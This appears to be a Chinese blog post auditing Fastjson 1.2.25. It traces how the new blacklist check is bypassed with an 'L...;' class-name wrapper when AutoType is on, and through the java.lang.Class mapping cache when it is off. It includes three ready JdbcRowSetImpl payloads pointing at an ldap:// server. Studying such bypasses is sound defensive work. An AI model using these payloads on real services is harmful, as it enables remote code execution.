0
点赞
收藏
分享

微信扫一扫

Java代码审计——Fastjson1.2.25反序列化漏洞

0x00 前言

反序列化总纲

1.2.24可参考:1.2.24fastjson

继1.2.24fastjson之后,对该漏洞进行了修复,从而有了Fastjson1.2.25反序列化漏洞

这里分为两类,一类是主动开启了AutoType,还有一类是未开启AutoType

0x01 1.2.25防护

我们这里以1.2.24的payload进行测试:

 String payload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/a\", \"autoCommit\":true}" ;

走到这里的时候 fastjson-1.2.25.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#parseObject,可以看到从TypeUtils.loadClass变成了this.config.checkAutoType。
在这里插入图片描述
跟进之后会发现通过循环来进行黑名单判定:很明显com.sun.rowset.JdbcRowSetImpl是黑名单里的其中一员,所以payload失效。
在这里插入图片描述
在这里插入图片描述

0x02 1.2.25 开启AutoType 绕过

这里就存在的了一个可以绕过的问题,就是可否可以通过一些payload的修改来绕过黑名单检测,结果是可以的。

 String payload="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:9999/a\", \"autoCommit\":true}" ;

那么重新调试,首先来看没有设置AutoType 的状态。

使用此payload的可以成功的通过黑名单检测,但是却会在检测AutoType的时候被拦截。
在这里插入图片描述

主动设置AutoType

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

通过检测之后就会进入TypeUtils.loadClass
在这里插入图片描述
TypeUtils.loadClass会对L和;进行处理,所以payload可生效
在这里插入图片描述
在这里插入图片描述
但是,但凡是要求越多的利用方式,攻击面就会越小,那么就存在不开启AutoType的攻击方式。

0x03 1.2.25 不开启AutoType 绕过

这里的绕过是通过Mappings缓存来进行绕过的。

先上payload

String payload="{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/a\",\"autoCommit\":true}}}";

跟踪调试:

还是先看checkAutoType,由于我们存在两个@type,按照顺序,先来第一个java.lang.Class

首先去TypeUtils.getClassFromMapping缓存中找,但是没有找到
在这里插入图片描述
接着会去deserializers里去找
在这里插入图片描述
deserializers存在Class.class直接回返回类
在这里插入图片描述
接着看到deserializer.deserialze
在这里插入图片描述

跟进到fastjson-1.2.25.jar!\com\alibaba\fastjson\serializer\MiscCodec.class#deserialze

这里通过clazz == Class.class来判断到Class,满足条件则会调用TypeUtils.loadClass
在这里插入图片描述

跟进之后可以看到调用put将ClassName加入了缓存,那么我们来看第二次处理checkAutoType
在这里插入图片描述
第二次进入checkAutoType
在这里插入图片描述
这里去TypeUtils缓存里查找
在这里插入图片描述
找到之后就会直接返回clazz
在这里插入图片描述
至此就是整个绕过流程和原理。

举报

相关推荐

0 条评论